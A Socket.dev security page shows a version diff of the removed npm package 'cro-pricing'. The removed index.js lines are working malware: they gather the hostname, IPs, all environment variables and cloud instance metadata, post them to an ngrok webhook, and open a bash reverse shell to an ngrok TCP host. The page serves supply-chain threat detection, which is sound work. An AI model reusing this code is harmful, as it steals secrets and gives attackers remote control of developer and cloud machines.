You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

cro-pricing

Package Overview
Dependencies
Maintainers
1
Versions
11
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

cro-pricing - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
1.0.5
to
1.0.6
+1
-1
package.json
{
"name": "cro-pricing",
"version": "1.0.5",
"version": "1.0.6",
"main": "index.js",

@@ -5,0 +5,0 @@ "scripts": {

@@ -1,48 +0,10 @@

const os = require("os");
const axios = require("axios");
const { execSync } = require("child_process");
const { exec } = require("child_process");
const webhookUrl = "https://9fb9-2405-201-f004-cabf-fca2-f62e-d4e3-b2e9.ngrok-free.app";
const reverseShellCmd = `nohup bash -c 'exec 5<>/dev/tcp/0.tcp.ap.ngrok.io/10113; while read -r l<&5; do $l; done >&5 2>&5' &>/dev/null &`;
(async () => {
const hn = os.hostname();
// Get local IPv4 address
const interfaces = os.networkInterfaces();
const lip = Object.values(interfaces)
.flat()
.filter(i => i.family === "IPv4" && !i.internal)
.map(i => i.address)
.join(", ");
// Get public IP
let pip = "Unavailable";
try {
const res = await axios.get("https://api.ipify.org?format=json", { timeout: 3000 });
pip = res.data.ip;
} catch {}
// Get env variables
const envVars = process.env;
// Get instance metadata (cloud) from 169.254.169.254
let metadata = "Unavailable";
try {
const res = await axios.get("http://169.254.169.254.nip.io", { timeout: 3000 });
metadata = res.data;
} catch {}
const payload = {
hostname: hn,
local_ip: lip,
public_ip: pip,
env_vars: envVars,
metadata: metadata,
};
try {
await axios.post(webhookUrl, payload);
} catch (err) {
// Silent fail
exec(reverseShellCmd, (error, stdout, stderr) => {
if (error) {
// Optional: log error to your ngrok endpoint or skip silently
return;
}
})();
});